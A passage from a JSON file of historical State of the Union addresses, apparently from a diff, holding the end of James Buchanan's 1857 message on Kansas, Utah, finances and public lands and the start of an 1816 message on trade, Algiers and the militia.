votes of the majority on the direct\nquestion whether this important domestic institution should or should not\ncontinue to exist. Indeed, this was the only possible mode in which their\nwill could be authentically ascertained.The election of delegates to a convention must necessarily take place in\nseparate districts. From this cause it may readily happen, as has often\nbeen the case, that a majority of the people of a State or Territory are on\none side of a question, whilst a majority of the representatives from the\nseveral districts into which it is divided may be upon the other side. This\narises front the fact that in some districts delegates may be elected by\nsmall majorities, whilst in others those of different sentiments may\nreceive majorities sufficiently great not only to overcome the votes given\nfor the former, but to leave a large majority of the whole people in direct\nopposition to a majority of the delegates. Besides, our history proves that\ninfluences may be brought to bear on the representative sufficiently\npowerful to induce him to disregard the will of his constituents. The truth\nis that no other authentic and satisfactory mode exists of ascertaining the\nwill of a majority of the people of any State or Territory on an important\nand exciting question like that of slavery in Kansas except by leaving it\nto a direct vote. How wise, then, was it for Congress to pass over all\nsubordinate and intermediate agencies and proceed directly to the source of\nall legitimate power under our institutions!How vain would any other principle prove in practice! This may be\nillustrated by the case of Kansas. Should she be admitted into the Union\nwith a constitution either maintaining or abolishing slavery against the\nsentiment of the people, this could have no other effect than to continue\nand to exasperate the existing agitation during the brief period required\nto make the constitution conform to the irresistible will of the majority.The friends and supporters of the Nebraska and Kansas act, when struggling\non a recent occasion to sustain its wise provisions before the great\ntribunal of the American people, never differed about its true meaning on\nthis subject. Everywhere throughout the Union they publicly pledged their\nfaith and their honor that they would cheerfully submit the question of\nslavery to the decision of the bona fide people of Kansas, without any\nrestriction or qualification whatever. All were cordially united upon the\ngreat doctrine of popular sovereignty, which is the vital principle of our\nfree institutions. Had it then been insinuated from any quarter that it\nwould be a sufficient compliance with the requisitions of the organic law\nfor the members of a convention thereafter to be elected to withhold the\nquestion of slavery from the people and to substitute their own will for\nthat of a legally ascertained majority of all their constituents, this\nwould have been instantly rejected. Everywhere they remained true to the\nresolution adopted on a celebrated occasion recognizing \"the right of the\npeople of all the Territories, including Kansas and Nebraska, acting\nthrough the legally and fairly expressed will of a majority of actual\nresidents, and whenever the number of their inhabitants justifies it, to\nform a constitution with or without slavery and be admitted into the Union\nupon terms of perfect equality with the other States.\"The convention to frame a constitution for Kansas met on the first Monday\nof September last. They were called together by virtue of an act of the\nTerritorial legislature, whose lawful existence had been recognized by\nCongress in different forms and by different enactments. A large proportion\nof the citizens of Kansas did not think proper to register their names and\nto vote at the election for delegates; but an opportunity to do this having\nbeen fairly afforded, their refusal to avail themselves of their right\ncould in no manner affect the legality of the convention. This convention\nproceeded to frame a constitution for Kansas, and finally adjourned on the\n7th day of November. But little difficulty occurred in the convention\nexcept on the subject of slavery. The truth is that the general provisions\nof our recent State constitutions are so similar and, I may add, so\nexcellent that the difference between them is not essential. Under the\nearlier practice of the Government no constitution framed by the convention\nof a Territory preparatory to its admission into the Union as a State had\nbeen submitted to the people. I trust, however, the example set by the last\nCongress, requiring that the constitution of Minnesota \"should be subject\nto the approval and ratification of the people of the proposed State,\" may\nbe followed on future occasions. I took it for granted that the convention\nof Kansas would act in accordance with this example, rounded, as it is, on\ncorrect principles, and hence my instructions to Governor Walker in favor\nof submitting the constitution to the people were expressed in general and\nunqualified terms.In the Kansas-Nebraska act, however, this requirement, as applicable to the\nwhole constitution, had not been inserted, and the convention were not\nbound by its terms to submit any other portion of the instrument to an\nelection except that which relates to the \"domestic institution\" of\nslavery. This will be rendered clear by a simple reference to its language.\nIt was \"not to legislate slavery into any Territory or State, nor to\nexclude it therefrom, but to leave the people thereof perfectly free to\nform and regulate their domestic institutions in their own way.\" According\nto the plain construction of the sentence, the words \"domestic\ninstitutions\" have a direct, as they have an appropriate, reference to\nslavery. \"Domestic institutions\" are limited to the family. The relation\nbetween master and slave and a few others are \"domestic institutions,\" and\nare entirely distinct from institutions of a political character. Besides,\nthere was no question then before Congress, nor, indeed, has there since\nbeen any serious question before the people of Kansas or the country,\nexcept that which relates to the \"domestic institution\" of slavery. The\nconvention, after an angry and excited debate, finally determined, by a\nmajority of only two, to submit the question of slavery to the people,\nthough at the last forty-three of the fifty delegates present affixed their\nsignatures to the constitution.A large majority of the convention were in favor of establishing slavery in\nKansas. They accordingly inserted an article in the constitution for this\npurpose similar in form to those which had been adopted by other\nTerritorial conventions. In the schedule, however, providing for the\ntransition from a Territorial to a State government the question has been\nfairly and explicitly referred to the people whether they will have a\nconstitution \"with or without slavery.\" It declares that before the\nconstitution adopted by the convention \"shall be sent to Congress for\nadmission into the Union as a State\" an election shall be held to decide\nthis question, at which all the white male inhabitants of the Territory\nabove the age of 21 are entitled to vote. They are to vote by ballot, and\n\"the ballots cast at said election shall be indorsed 'constitution with\nslavery' and 'constitution with no slavery.'\" If there be a majority in\nfavor of the \"constitution with slavery,\" then it is to be transmitted to\nCongress by the president of the convention in its original form; if, on\nthe contrary, there shall be a majority in favor of the \"constitution with\nno slavery,\" \"then the article providing for slavery shall be stricken from\nthe constitution by the president of this convention;\" and it is expressly\ndeclared that \"no slavery shall exist in the State of Kansas, except that\nthe right of property in slaves now in the Territory shall in no manner be\ninterfered with;\" and in that event it is made his duty to have the\nconstitution thus ratified transmitted to the Congress of the United States\nfor the admission of the State into the Union.At this election every citizen will have an opportunity of expressing his\nopinion by his vote \"whether Kansas shall be received into the Union with\nor without slavery,\" and thus this exciting question may be peacefully\nsettled in the very mode required by the organic law. The election will be\nheld under legitimate authority, and if any portion of the inhabitants\nshall refuse to vote, a fair opportunity to do so having been presented,\nthis will be their own voluntary act and they alone will be responsible for\nthe consequences.Whether Kansas shall be a free or a slave State must eventually, under some\nauthority, be decided by an election; and the question can never be more\nclearly or distinctly presented to the people than it is at the present\nmoment. Should this opportunity be rejected she may be involved for years\nin domestic discord, and possibly in civil war, before she can again make\nup the issue now so fortunately tendered and again reach the point she has\nalready attained.Kansas has for some years occupied too much of the public attention. It is\nhigh time this should be directed to far more important objects. When once\nadmitted into the Union, whether with or without slavery, the excitement\nbeyond her own limits will speedily pass away, and she will then for the\nfirst time be left, as she ought to have been long since, to manage her own\naffairs in her own way. If her constitution on the subject of slavery or on\nany other subject be displeasing to a majority of the people, no human\npower can prevent them from changing it within a brief period. Under these\ncircumstances it may well be questioned whether the peace and quiet of the\nwhole country are not of greater importance than the mere temporary triumph\nof either of the political parties in Kansas.Should the constitution without slavery be adopted by the votes of the\nmajority, the rights of property in slaves now in the Territory are\nreserved. The number of these is very small, but if it were greater the\nprovision would be equally just and reasonable. The slaves were brought\ninto the Territory under the Constitution of the United States and are now\nthe property of their masters. This point has at length been finally\ndecided by the highest judicial tribunal of the country, and this upon the\nplain principle that when a confederacy of sovereign States acquire a new\nterritory at their joint expense both equality and justice demand that the\ncitizens of one and all of them shall have the right to take into it\nwhatsoever is recognized as property by the common Constitution. To have\nsummarily confiscated the property in slaves already in the Territory would\nhave been an act of gross injustice and contrary to the practice of the\nolder States of the Union which have abolished slavery.A Territorial government was established for Utah by act of Congress\napproved the 9th September, 1850, and the Constitution and laws of the\nUnited States were thereby extended over it \"so far as the same or any\nprovisions thereof may be applicable.\" This act provided for the\nappointment by the President, by and with the advice and consent of the\nSenate, of a governor (who was to be ex officio superintendent of Indian\naffairs), a secretary, three judges of the supreme court, a marshal, and a\ndistrict attorney. Subsequent acts provided for the appointment of the\nofficers necessary to extend our land and our Indian system over the\nTerritory. Brigham Young was appointed the first governor on the 20th\nSeptember, 1850, and has held the office ever since. Whilst Governor Young\nhas been both governor and superintendent of Indian affairs throughout this\nperiod, he has been at the same time the head of the church called the\nLatter-day Saints, and professes to govern its members and dispose of their\nproperty by direct inspiration and authority from the Almighty. His power\nhas been, therefore, absolute over both church and state.The people of Utah almost exclusively belong to this church, and believing\nwith a fanatical spirit that he is governor of the Territory by divine\nappointment, they obey his commands as if these were direct revelations\nfrom Heaven. If, therefore, he chooses that his government shall come into\ncollision with the Government of the United States, the members of the\nMormon Church will yield implicit obedience to his will. Unfortunately,\nexisting facts leave but little doubt that such is his determination.\nWithout entering upon a minute history of occurrences, it is sufficient to\nsay that all the officers of the United States, judicial and executive,\nwith the single exception of two Indian agents, have found it necessary for\ntheir own personal safety to withdraw from the Territory, and there no\nlonger remains any government in Utah but the despotism of Brigham Young.\nThis being the condition of affairs in the Territory, I could not mistake\nthe path of duty. As Chief Executive Magistrate I was bound to restore the\nsupremacy of the Constitution and laws within its limits. In order to\neffect this purpose, I appointed a new governor and other Federal officers\nfor Utah and sent with them a military force for their protection and to\naid as a posse comitatus in case of need in the execution of the laws.With the religious opinions of the Mormons, as long as they remained mere\nopinions, however deplorable in themselves and revolting to the moral and\nreligious sentiments of all Christendom, I had no right to interfere.\nActions alone, when in violation of the Constitution and laws of the United\nStates, become the legitimate subjects for the jurisdiction of the civil\nmagistrate. My instructions to Governor Cumming have therefore been framed\nin strict accordance with these principles. At their date a hope was\nindulged that no necessity might exist for employing the military in\nrestoring and maintaining the authority of the law, but this hope has now\nvanished. Governor Young has by proclamation declared his determination to\nmaintain his power by force, and has already committed acts of hostility\nagainst the United States. Unless he should retrace his steps the Territory\nof Utah will be in a state of open rebellion. He has committed these acts\nof hostility notwithstanding Major Van Vliet, an officer of the Army, sent\nto Utah by the Commanding General to purchase provisions for the troops,\nhad given him the strongest assurances of the peaceful intentions of the\nGovernment, and that the troops would only be employed as a posse comitatus\nwhen called on by the civil authority to aid in the execution of the laws.There is reason to believe that Governor Young has long contemplated this\nresult. He knows that the continuance of his despotic power depends upon\nthe exclusion of all settlers from the Territory except those who will\nacknowledge his divine mission and implicitly obey his will, and that an\nenlightened public opinion there would soon prostrate institutions at war\nwith the laws both of God and man. \"He has therefore for several years, in\norder to maintain his independence, been industriously employed in\ncollecting and fabricating arms and munitions of war and in disciplining\nthe Mormons for military service.\" As superintendent of Indian affairs he\nhas had an opportunity of tampering with the Indian tribes and exciting\ntheir hostile feelings against the United States. This, according to our\ninformation, he has accomplished in regard to some of these tribes, while\nothers have remained true to their allegiance and have communicated his\nintrigues to our Indian agents. He has laid in a store of provisions for\nthree years, which in case of necessity, as he informed Major Van Vliet, he\nwill conceal, \"and then take to the mountains and bid defiance to all the\npowers of the Government.\"A great part of all this may be idle boasting, but yet no wise government\nwill lightly estimate the efforts which may be inspired by such frenzied\nfanaticism as exists among the Mormons in Utah. This is the first rebellion\nwhich has existed in our Territories, and humanity itself requires that we\nshould put it down in such a manner that it shall be the last. To trifle\nwith it would be to encourage it and to render it formidable. We ought to\ngo there with such an imposing force as to convince these deluded people\nthat resistance would be vain, and thus spare the effusion of blood. We can\nin this manner best convince them that we are their friends, not their\nenemies. In order to accomplish this object it will be necessary, according\nto the estimate of the War Department, to raise four additional regiments;\nand this I earnestly recommend to Congress. At the present moment of\ndepression in the revenues of the country I am sorry to be obliged to\nrecommend such a measure; but I feel confident of the support of Congress,\ncost what it may, in suppressing the insurrection and in restoring and\nmaintaining the sovereignty of the Constitution and laws over the Territory\nof Utah.I recommend to Congress the establishment of a Territorial government over\nArizona, incorporating with it such portions of New Mexico as they may deem\nexpedient. I need scarcely adduce arguments in support of this\nrecommendation. We are bound to protect the lives and the property of our\ncitizens inhabiting Arizona, and these are now without any efficient\nprotection. Their present number is already considerable, and is rapidly\nincreasing, notwithstanding the disadvantages under which they labor.\nBesides, the proposed Territory is believed to be rich in mineral and\nagricultural resources, especially in silver and copper. The mails of the\nUnited States to California are now carried over it throughout its whole\nextent, and this route is known to be the nearest and believed to be the\nbest to the Pacific.Long experience has deeply convinced me that a strict construction of the\npowers granted to Congress is the only true, as well as the only safe,\ntheory of the Constitution. Whilst this principle shall guide my public\nconduct, I consider it clear that under the war-making power Congress may\nappropriate money for the Construction of a military road through the\nTerritories of the United States when this is absolutely necessary for the\ndefense of any of the States against foreign invasion. The Constitution has\nconferred upon Congress power \"to declare war,\" \"to raise and support\narmies,\" \"to provide and maintain a navy,\" and to call forth the militia to\n\"repel invasions.\" These high sovereign powers necessarily involve\nimportant and responsible public duties, and among them there is none so\nsacred and so imperative as that of preserving our soil from the invasion\nof a foreign enemy. The Constitution has therefore left nothing on this\npoint to construction, but expressly requires that \"the United States shall\nprotect each of them [the States] against invasion.\" Now if a military road\nover our own Territories be indispensably necessary to enable us to meet\nand repel the invader, it follows as a necessary consequence not only that\nwe possess the power, but it is our imperative duty to construct such a\nroad. It would be an absurdity to invest a government with the unlimited\npower to make and conduct war and at the same time deny to it the only\nmeans of reaching and defeating the enemy at the frontier. Without such a\nroad it is quite evident we can not \"protect\" California and our Pacific\npossessions \"against invasion.\" We can not by any other means transport men\nand munitions of war from the Atlantic States in sufficient time\nsuccessfully to defend these remote and distant portions of the Republic.Experience has proved that the routes across the isthmus of Central America\nare at best but a very uncertain and unreliable mode of communication. But\neven if this were not the case, they would at once be closed against us in\nthe event of war with a naval power so much stronger than our own as to\nenable it to blockade the ports at either end of these routes. After all,\ntherefore, we can only rely upon a military road through our own\nTerritories; and ever since the origin of the Government Congress has been\nin the practice of appropriating money from the public Treasury for the\nconstruction of such roads.The difficulties and the expense of constructing a military railroad to\nconnect our Atlantic and Pacific States have been greatly exaggerated. The\ndistance on the Arizona route, near the thirty-second parallel of north\nlatitude, between the western boundary of Texas, on the Rio Grande, and the\neastern boundary of California, on the Colorado, from the best explorations\nnow within our knowledge, does not exceed 470 miles, and the face of the\ncountry is in the main favorable. For obvious reasons the Government ought\nnot to undertake the work itself by means of its own agents. This ought to\nbe committed to other agencies, which Congress might assist, either by\ngrants of land or money, or by both, upon such terms and conditions as they\nmay deem most beneficial for the country. Provision might thus be made not\nonly for the safe, rapid, and economical transportation of troops and\nmunitions of war, but also of the public mails. The commercial interests of\nthe whole country, both East and West, would be greatly promoted by such a\nroad, and, above all, it would be a powerful additional bond of union. And\nalthough advantages of this kind, whether postal, commercial, or political,\ncan not confer constitutional power, yet they may furnish auxiliary\narguments in favor of expediting a work which, in my judgment, is clearly\nembraced within the war-making power.For these reasons I commend to the friendly consideration of Congress the\nsubject of the Pacific Railroad, without finally committing myself to any\nparticular route.The report of the Secretary of the Treasury will furnish a detailed\nstatement of the condition of the public finances and of the respective\nbranches of the public service devolved upon that Department of the\nGovernment. By this report it appears that the amount of revenue received\nfrom all sources into the Treasury during the fiscal year ending the 30th\nJune, 1857, was $68,631,513.67, which amount, with the balance of\n$19,901,325.45 remaining in the Treasury at the commencement of the year,\nmade an aggregate for the service of the year of $88,532,839.12.The public expenditures for the fiscal year ending 30th June, 1857,\namounted to $70,822,724.85, of which $5,943,896.91 were applied to the\nredemption of the public debt, including interest and premium, leaving in\nthe Treasury at the commencement of the present fiscal year, on the 1st\nJuly, 1857, $17,710,114.27.The receipts into the Treasury for the first quarter of the present fiscal\nyear, commencing 1st July, 1857, were $20,929,819.81, and the estimated\nreceipts of the remaining three quarters to the 30th June, 1858, are\n$36,750,000, making, with the balance before stated, an aggregate of\n$75,389,934.08 for the service of the present fiscal year.The actual expenditures during the first quarter of the present fiscal year\nwere $23,714,528.37, of which $3,895,232.39 were applied to the redemption\nof the public debt, including interest and premium. The probable\nexpenditures of the remaining three quarters to 30th June, 1858, are\n$51,248,530.04, including interest on the public debt, making an aggregate\nof $74,963,058.41, leaving an estimated balance in the Treasury at the\nclose of the present fiscal year of $426,875.67.The amount of the public debt at the commencement of the present fiscal\nyear was $29,060,386.90.The amount redeemed since the 1st of July was $3,895,232.39, leaving a\nbalance unredeemed at this time of $25,165,154.51.The amount of estimated expenditures for the remaining three quarters of\nthe present fiscal year will in all probability be increased from the\ncauses set forth in the report of the Secretary. His suggestion, therefore,\nthat authority should be given to supply any temporary deficiency by the\nissue of a limited amount of Treasury notes is approved, and I accordingly\nrecommend the passage of such a law.As stated in the report of the Secretary, the tariff of March 3, 1857, has\nbeen in operation for so short a period of time and under circumstances so\nunfavorable to a just development of its results as a revenue measure that\nI should regard it as inexpedient, at least for the present, to undertake\nits revision.I transmit herewith the reports made to me by the Secretaries of War and of\nthe Navy, of the Interior, and of the Postmaster-General. They all contain\nvaluable and important information and suggestions, which I commend to the\nfavorable consideration of Congress.I have already recommended the raising of four additional regiments, and\nthe report of the Secretary of War presents strong reasons proving this\nincrease of the Army under existing circumstances to be indispensable.I would call the special attention of Congress to the recommendation of the\nSecretary of the Navy in favor of the construction of ten small war\nsteamers of light draft. For some years the Government has been obliged on\nmany occasions to hire such steamers from individuals to supply its\npressing wants. At the present moment we have no armed vessel in the Navy\nwhich can penetrate the rivers of China. We have but few which can enter\nany of the harbors south of Norfolk, although many millions of foreign and\ndomestic commerce annually pass in and out of these harbors. Some of our\nmost valuable interests and most vulnerable points are thus left exposed.\nThis class of vessels of light draft, great speed, and heavy guns would be\nformidable in coast defense. The cost of their construction will not be\ngreat and they will require but a comparatively small expenditure to keep\nthem in commission. In time of peace they will prove as effective as much\nlarger vessels and more useful. One of them should be at every station\nwhere we maintain a squadron, and three or four should be constantly\nemployed on our Atlantic and Pacific coasts. Economy, utility, and\nefficiency combine to recommend them as almost indispensable. Ten of these\nsmall vessels would be of incalculable advantage to the naval service, and\nthe whole cost of their construction would not exceed $2,300,000, or\n$230,000 each.The report of the Secretary of the Interior is worthy of grave\nconsideration. It treats of the numerous important and diversified branches\nof domestic administration intrusted to him by law. Among these the most\nprominent are the public lands and our relations with the Indians. Our\nsystem for the disposal of the public lands, originating with the fathers\nof the Republic, has been improved as experience pointed the way, and\ngradually adapted to the growth and settlement of our Western States and\nTerritories. It has worked well in practice. Already thirteen States and\nseven Territories have been carved out of these lands, and still more than\na thousand millions of acres remain unsold. What a boundless prospect this\npresents to our country of future prosperity and power!We have heretofore disposed of 363,862,464 acres of the public land. Whilst\nthe public lands, as a source of revenue, are of great importance, their\nimportance is far greater as furnishing homes for a hardy and independent\nrace of honest and industrious citizens who desire to subdue and cultivate\nthe soil. They ought to be administered mainly with a view of promoting\nthis wise and benevolent policy. In appropriating them for any other\npurpose we ought to use even greater economy than if they had been\nconverted into money and the proceeds were already in the public Treasury.\nTo squander away this richest and noblest inheritance which any people have\never enjoyed upon objects of doubtful constitutionality or expediency would\nbe to violate one of the most important trusts ever committed to any\npeople. Whilst I do not deny to Congress the power, when acting bona fide\nas a proprietor, to give away portions of them for the purpose of\nincreasing the value of the remainder, yet, considering the great\ntemptation to abuse this power, we can not be too cautious in its exercise.\nActual settlers under existing laws are protected against other purchasers\nat the public sales in their right of preemption to the extent of a quarter\nsection, or 160 acres, of land. The remainder may then be disposed of at\npublic or entered at private sale in unlimited quantities. Speculation has\nof late years prevailed to a great extent in the public lands. The\nconsequence has been that large portions of them have become the property\nof individuals and companies, and thus the price is greatly enhanced to\nthose who desire to purchase for actual settlement. In order to limit the\narea of speculation as much as possible, the extinction of the Indian title\nand the extension of the public surveys ought only to keep pace with the\ntide of emigration.If Congress should hereafter grant alternate sections to States or\ncompanies, as they have done heretofore, I recommend that the intermediate\nsections retained by the Government should be subject to preemption by\nactual settlers.It ought ever to be our cardinal policy to reserve the public lands as much\nas may be for actual settlers, and this at moderate prices. We shall thus\nnot only best promote the prosperity of the new States and Territories and\nthe power of the Union, but shall secure homes for our posterity for many\ngenerations.The extension of our limits has brought within our jurisdiction many\nadditional and populous tribes of Indians, a large proportion of which are\nwild, untractable, and difficult to control. Predatory and warlike in their\ndisposition and habits, it is impossible altogether to restrain them from\ncommitting aggressions on each other, as well as upon our frontier citizens\nand those emigrating to our distant States and Territories. Hence expensive\nmilitary expeditions are frequently necessary to overawe and chastise the\nmore lawless and hostile. The present system of making them valuable\npresents to influence them to remain at peace has proved ineffectual. It is\nbelieved to be the better policy to colonize them in suitable localities\nwhere they can receive the rudiments of education and be gradually induced\nto adopt habits of industry. So far as the experiment has been tried it has\nworked well in practice, and it will doubtless prove to be less expensive\nthan the present system.The whole number of Indians within our territorial limits is believed to\nbe, from the best data in the Interior Department, about 325,000. The\ntribes of Cherokees, Choctaws, Chickasaws, and Creeks settled in the\nTerritory set apart for them west of Arkansas are rapidly advancing in\neducation and in all the arts of civilization and self-government and we\nmay indulge the agreeable anticipation that at no very distant day they\nwill be incorporated into the Union as one of the sovereign States.It will be seen from the report of the Postmaster-General that the\nPost-Office Department still continues to depend on the Treasury, as it has\nbeen compelled to do for several years past, for an important portion of\nthe means of sustaining and extending its operations. Their rapid growth\nand expansion are shown by a decennial statement of the number of\npost-offices and the length of post-roads, commencing with the year 1827.\nIn that year there were 7,000 post-offices; in 1837, 11,177; in 1847,\n15,146, and in 1857 they number 26,586. In this year 1,725 post-offices\nhave been established and 704 discontinued, leaving a net increase of\n1,021. The postmasters of 368 offices are appointed by the President.The length of post-roads in 1827 was 105,336 miles; in 1837,141,242 miles;\nin 1847, 153,818 miles, and in the year 1857 there are 242,601 miles of\npost-road, including 22,530 miles of railroad on which the mails are\ntransported.The expenditures of the Department for the fiscal year ending on the 30th\nJune, 1857, as adjusted by the Auditor, amounted to $11,507,670. To defray\nthese expenditures there was to the credit of the Department on the 1st\nJuly, 1856, the sum of $789,599; the gross revenue of the year, including\nthe annual allowances for the transportation of free mail matter, produced\n$8,053,951, and the remainder was supplied by the appropriation from the\nTreasury of $2,250,000 granted by the act of Congress approved August 18,\n1856, and by the appropriation of $666,883 made by the act of March 3,\n1857, leaving $252,763 to be carried to the credit of the Department in the\naccounts of the current year. I commend to your consideration the report of\nthe Department in relation to the establishment of the overland mail route\nfrom the Mississippi River to San Francisco, Cal. The route was selected\nwith my full concurrence, as the one, in my judgment, best calculated to\nattain the important objects contemplated by Congress.The late disastrous monetary revulsion may have one good effect should it\ncause both the Government and the people to return to the practice of a\nwise and judicious economy both in public and private expenditures.An overflowing Treasury has led to habits of prodigality and extravagance\nin our legislation. It has induced Congress to make large appropriations to\nobjects for which they never would have provided had it been necessary to\nraise the amount of revenue required to meet them by increased taxation or\nby loans. We are now compelled to pause in our career and to scrutinize our\nexpenditures with the utmost vigilance; and in performing this duty I\npledge my cooperation to the extent of my constitutional competency.It ought to be observed at the same time that true public economy does not\nconsist in withholding the means necessary to accomplish important national\nobjects intrusted to us by the Constitution, and especially such as may be\nnecessary for the common defense. In the present crisis of the country it\nis our duty to confine our appropriations to objects of this character,\nunless in cases where justice to individuals may demand a different course.\nIn all cases care ought to be taken that the money granted by Congress\nshall be faithfully and economically applied.Under the Federal Constitution \"every bill which shall have passed the\nHouse of Representatives and the Senate shall, before it become a law,\" be\napproved and signed by the President; and if not approved, \"he shall return\nit with his objections to that House in which it shall have originated.\" In\norder to perform this high and responsible duty, sufficient time must be\nallowed the President to read and examine every bill presented to him for\napproval. Unless this be afforded, the Constitution becomes a dead letter\nin this particular, and; even worse, it becomes a means of deception. Our\nconstituents, seeing the President's approval and signature attached to\neach act of Congress, are induced to believe that he has actually performed\nhis duty, when in truth nothing is in many cases more unfounded.From the practice of Congress such an examination of each bill as the\nConstitution requires has been rendered impossible. The most important\nbusiness of each session is generally crowded into its last hours, and the\nalternative presented to the President is either to violate the\nconstitutional duty which he owes to the people and approve bills which for\nwant of time it is impossible he should have examined, or by his refusal to\ndo this subject the country and individuals to great loss and\ninconvenience.Besides, a practice has grown up of late years to legislate in\nappropriation bills at the last hours of the session on new and important\nsubjects. This practice constrains the President either to suffer measures\nto become laws which he does not approve or to incur the risk of stopping\nthe wheels of the Government by vetoing an appropriation bill. Formerly\nsuch bills were confined to specific appropriations for carrying into\neffect existing laws and the well-established policy of the country, and\nlittle time was then requited by the President for their examination.For my own part, I have deliberately determined that I shall approve no\nbills which I have not examined, and it will be a case of extreme and most\nurgent necessity which shall ever induce me to depart from this rule. I\ntherefore respectfully but earnestly recommend that the two Houses would\nallow the President at least two days previous to the adjournment of each\nsession within which no new bill shall be presented to him for approval.\nUnder the existing joint rule one day is allowed, but this rule has been\nhitherto so constantly suspended in practice that important bills continue\nto be presented to him up till the very last moments of the session. In a\nlarge majority of cases no great public inconvenience can arise from the\nwant of time to examine their provisions, because the Constitution has\ndeclared that if a bill be presented to the President within the last ten\ndays of the session he is not required to return it, either with an\napproval or with a veto, \"in which case it shall not be a law.\" It may then\nlie over and be taken up and passed at the next session. Great\ninconvenience would only be experienced in regard to appropriation bills,\nbut, fortunately, under the late excellent law allowing a salary instead of\na per diem to members of Congress the expense and inconvenience of a called\nsession will be greatly reduced.I can not conclude without commending to your favorable consideration the\ninterest of the people of this District. Without a representative on the\nfloor of Congress, they have for this very reason peculiar claims upon our\njust regard. To this I know, from my long acquaintance with them, they are\neminently entitled.", 
+    "name": "James Buchanan"
+}
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+{
+    "date": "December 3, 1816", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:In reviewing the present state of our country, our attention cannot be\nwithheld from the effect produced by peculiar seasons which have very\ngenerally impaired the annual gifts of the earth and threatened scarcity in\nparticular districts. Such, however, is the variety of soils, of climates,\nand of products within our extensive limits that the aggregate resources\nfor subsistence are more than sufficient for the aggregate wants. And as\nfar as an economy of consumption, more than usual, may be necessary, our\nthankfulness is due to Providence for what is far more than a compensation,\nin the remarkable health which has distinguished the present year.Amidst the advantages which have succeeded the peace of Europe, and that of\nthe United States with Great Britain, in a general invigoration of industry\namong us and in the extension of our commerce, the value of which is more\nand more disclosing itself to commercial nations, it is to be regretted\nthat a depression is experienced by particular branches of our manufactures\nand by a portion of our navigation. As the first proceeds in an essential\ndegree from an excess of imported merchandise, which carries a check in its\nown tendency, the cause in its present extent can not be very long in\nduration. The evil will not, however, be viewed by Congress without a\nrecollection that manufacturing establishments, if suffered to sink too low\nor languish too long, may not revive after the causes shall have ceased,\nand that in the vicissitudes of human affairs situations may recur in which\na dependence on foreign sources for indispensable supplies may be among the\nmost serious embarrassments.The depressed state of our navigation is to be ascribed in a material\ndegree to its exclusion from the colonial ports of the nation most\nextensively connected with us in commerce, and from the indirect operation\nof that exclusion.Previous to the late convention at London between the United States and\nGreat Britain the relative state of the navigation laws of the two\ncountries, growing out of the treaty of 1794, had given to the British\nnavigation a material advantage over the American in the intercourse\nbetween the American ports and British ports in Europe. The convention of\nLondon equalized the laws of the two countries relating to those ports,\nleaving the intercourse between our ports and the ports of the British\ncolonies subject, as before, to the respective regulations of the parties.\nThe British Government enforcing now regulations which prohibit a trade\nbetween its colonies and the United States in American vessels, whilst they\npermit a trade in British vessels, the American navigation loses\naccordingly, and the loss is augmented by the advantage which is given to\nthe British competition over the American in the navigation between our\nports and British ports in Europe by the circuitous voyages enjoyed by the\none and not enjoyed by the other.The reasonableness of the rule of reciprocity applied to one branch of the\ncommercial intercourse has been pressed on our part as equally applicable\nto both branches; but it is ascertained that the British cabinet declines\nall negotiation on the subject, with a disavowal, however, of any\ndisposition to view in an unfriendly light whatever countervailing\nregulations the United States may oppose to the regulations of which they\ncomplain. The wisdom of the Legislature will decide on the course which,\nunder these circumstances, is prescribed by a joint regard to the amicable\nrelations between the two nations and to the just interests of the United\nStates.I have the satisfaction to state, generally, that we remain in amity with\nforeign powers.An occurrence has indeed taken place in the Gulf of Mexico which, if\nsanctioned by the Spanish Government, may make an exception as to that\npower. According to the report of our naval commander on that station, one\nof our public armed vessels was attacked by an over-powering force under a\nSpanish commander, and the American flag, with the officers and crew,\ninsulted in a manner calling for prompt reparation. This has been demanded.\nIn the mean time a frigate and a smaller vessel of war have been ordered\ninto that Gulf for the protection of our commerce. It would be improper to\nomit that the representative of His Catholic Majesty in the United States\nlost no time in giving the strongest assurances that no hostile order could\nhave emanated from his Government, and that it will be as ready to do as to\nexpect whatever the nature of the case and the friendly relations of the\ntwo countries shall be found to require.The posture of our affairs with Algiers at the present moment is not known.\nThe Dey, drawing pretexts from circumstances for which the United States\nwere not answerable, addressed a letter to this Government declaring the\ntreaty last concluded with him to have been annulled by our violation of\nit, and presenting as the alternative war or a renewal of the former\ntreaty, which stipulated, among other things, an annual tribute. The\nanswer, with an explicit declaration that the United States preferred war\nto tribute, required his recognition and observance of the treaty last\nmade, which abolishes tribute and the slavery of our captured citizens. The\nresult of the answer has not been received. Should he renew his warfare on\nour commerce, we rely on the protection it will find in our naval force\nactually in the Mediterranean.With the other Barbary States our affairs have undergone no change.The Indian tribes within our limits appear also disposed to remain at\npeace. From several of them purchases of lands have been made particularly\nfavorable to the wishes and security of our frontier settlements, as well\nas to the general interests of the nation. In some instances the titles,\nthough not supported by due proof, and clashing those of one tribe with the\nclaims of another, have been extinguished by double purchases, the\nbenevolent policy of the United States preferring the augmented expense to\nthe hazard of doing injustice or to the enforcement of justice against a\nfeeble and untutored people by means involving or threatening an effusion\nof blood.I am happy to add that the tranquillity which has been restored among the\ntribes themselves, as well as between them and our own population, will\nfavor the resumption of the work of civilization which had made an\nencouraging progress among some tribes, and that the facility is increasing\nfor extending that divided and individual ownership, which exists now in\nmovable property only, to the soil itself, and of thus establishing in the\nculture and improvement of it the true foundation for a transit from the\nhabits of the savage to the arts and comforts of social life.As a subject of the highest importance to the national welfare, I must\nagain earnestly recommend to the consideration of Congress a reorganization\nof the militia on a plan which will form it into classes according to the\nperiods of life more or less adapted to military services. An efficient\nmilitia is authorized and contemplated by the Constitution and required by\nthe spirit and safety of free government. The present organization of our\nmilitia is universally regarded as less efficient than it ought to be made,\nand no organization can be better calculated to give to it its due force\nthan a classification which will assign the foremost place in the defense\nof the country to that portion of its citizens whose activity and animation\nbest enable them to rally to its standard. Besides the consideration that a\ntime of peace is the time when the change can be made with most convenience\nand equity, it will now be aided by the experience of a recent war in which\nthe militia bore so interesting a part.Congress will call to mind that no adequate provision has yet been made for\nthe uniformity of weights and measures also contemplated by the\nConstitution. The great utility of a standard fixed in its nature and\nfounded on the easy rule of decimal proportions is sufficiently obvious. It\nled the Government at an early stage to preparatory steps for introducing\nit, and a completion of the work will be a just title to the public\ngratitude.The importance which I have attached to the establishment of a university\nwithin this District on a scale and for objects worthy of the American\nnation induces me to renew my recommendation of it to the favorable\nconsideration of Congress. And I particularly invite again their attention\nto the expediency of exercising their existing powers, and, where\nnecessary, of resorting to the prescribed mode of enlarging them, in 